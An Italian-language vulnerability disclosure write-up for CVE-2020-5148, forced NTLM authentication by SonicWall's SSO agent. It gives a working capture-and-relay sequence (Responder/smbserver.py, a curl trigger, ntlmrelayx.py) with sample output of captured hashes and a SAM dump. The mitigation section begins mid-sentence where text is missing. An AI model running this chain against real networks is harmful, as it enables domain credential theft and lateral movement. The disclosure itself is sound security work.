
CVE-2020-5148 - Autenticazione forzata nell'agente SSO SonicWall UTM. L'agente interroga workstation non validate come Admin di Dominio, quindi una singola richiesta web in uscita produce un hash NTLMv2 privilegiato. Advisory SNWLID-2021-0003.
Autenticazione forzata nell'agente SSO SonicWall UTM
L'agente SSO SonicWall identifica l'utente dietro un determinato indirizzo IP sondando quella workstation con NetAPI (il metodo predefinito) o WMI. Non valida la workstation prima di avviare l'autenticazione NTLM e continua a interrogare lo stesso indirizzo per l'intera durata della sessione.
Poiché il servizio agente SSO richiede diritti amministrativi su ogni workstation e server che sonda, nella pratica viene distribuito come Domain Admin. Qualsiasi soggetto non autenticato in grado di instradare traffico web attraverso l'appliance UTM può quindi far autenticare un account Domain Admin verso un host a propria scelta e catturare o rilanciare tale autenticazione.
Pubblicata come CVE-2020-5148, advisory del fornitore SNWLID-2021-0003.
Scoperta e segnalata da Sedric Louissaint di Show Up Show Out Security.
| CVE | CVE-2020-5148 |
| Prodotto | Appliance UTM SonicWall e agente SSO / Directory Services Connector |
| Versioni interessate | SSO Agent 4.1.10.0; Directory Services Connector 4.1.17 e versioni precedenti |
| Corretta in | NVD registra la correzione nel Directory Services Connector 4.1.19 (vedi nota sotto) |
| Debolezza | CWE-287: Improper Authentication |
| CVSS 3.1 (NVD) | 8.2 Alto CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N |
| CVSS (ricercatore) | 8.6 AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N |
| Pubblicata | 2021-03-05 |
| Testata su | Microsoft Windows Server 2012 R2 Standard |
| Autenticazione richiesta | Nessuna |
| Advisory del fornitore | https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2021-0003 |
Descrizione NVD:
La configurazione predefinita dell'agente SSO SonicWall usa NetAPI per sondare gli IP associati nella rete; questo metodo di probing lato client consente a un potenziale attaccante di catturare l'hash della password

Le annotazioni indicano ciò che il diagramma del fornitore tralascia:
Il servizio agente SSO richiede diritti di amministratore su tutte le workstation e i server associati per poter eseguire la query. In praticamente ogni distribuzione ciò significa che l'account del servizio è Domain Admin.
La credenziale consegnata a un host non validato è quindi l'account con i privilegi più elevati nella directory.

Non esiste codice di exploit. Qualsiasi richiesta web in uscita da un segmento gestito dall'appliance è sufficiente:
curl sonicwall.com

L'URL è irrilevante e la richiesta non deve riuscire. L'appliance osserva il traffico da un IP non riconosciuto, chiede all'agente SSO di identificare l'utente e l'agente si autentica verso quell'IP.
Con Responder o smbserver.py in ascolto, l'autenticazione NTLMv2 dell'agente arriva
senza essere sollecitata e continua ad arrivare grazie al comportamento di polling:
[SMB] NTLMv2-SSP Client : 192.168.x.x
[SMB] NTLMv2-SSP Username : <DOMAIN>\<privileged account>
[SMB] NTLMv2-SSP Hash : ...

Il cracking è opzionale. Dove la firma SMB non è applicata, l'autenticazione può essere rilanciata in tempo reale verso un host diverso, che tratta la connessione come l'account privilegiato che sembra essere:
ntlmrelayx.py -t <target> -smb2support -of <output>
[*] SMBD-Thread-4: Received connection from 192.168.x.x, attacking target smb://192.168.x.x
[*] Authenticating against smb://192.168.x.x as <DOMAIN>\<user> SUCCEED
[*] Starting service RemoteRegistry
[*] Target system bootKey: ...
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
[*] Done dumping SAM hashes for host: 192.168.x.x

L'autenticazione viene innescata da una richiesta web non autenticata e consumata su una macchina completamente diversa, il che costituisce il completo bypass degli ACL descritto nell'advisory.
In un laboratorio di tua proprietà o per cui sei autorizzato a effettuare test, con un'appliance UTM configurata per l'SSO e l'agente SSO che utilizza il metodo predefinito di probing client NetAPI:
sudo responder -I <interface>
# or
sudo smbserver.py c . -smb2support
curl sonicwall.com
ntlmrelayx.py -t smb://<second-host> -smb2support -of relayed
Sequenza completa dei comandi in poc/repro.sh.
poc/
repro.sh Listener, trigger and relay commands, commented, safe to read first
notes.md Why NetAPI triggers this, what WMI changes, detection guidance
media/
01-sso-flow-annotated.png
02-curl-crossing-network-boundary.png
03-ntlmv2-hashes-captured.png
04-ntlmrelayx-sam-dump.png
05-sso-agent-version-4.1.10.0.png
Gli username, gli hash e gli indirizzi interni nelle catture sono oscurati o provengono dal laboratorio originale.
administrator di accedere tramite il servizio agente SSO, il DC, il server Exchange o
il server terminale. Dove l'account deve rimanere privilegiato, usa una password
abbastanza lunga da rendere il cracking offline non realistico, venti caratteri o più,
mai riutilizzata.| Data | Evento |
|---|---|
| 2020 | Scoperta e segnalazione a SonicWall |
| 2021-03-05 | Pubblicazione di CVE-2020-5148, advisory SNWLID-2021-0003 |
Pubblicata dopo la divulgazione al fornitore, per uso difensivo ed educativo. Non c'è codice di exploit qui perché non è necessario, ed è proprio questo il punto della scoperta. Non eseguire questi comandi contro reti di cui non sei proprietario o per le quali non hai un'autorizzazione scritta a testare.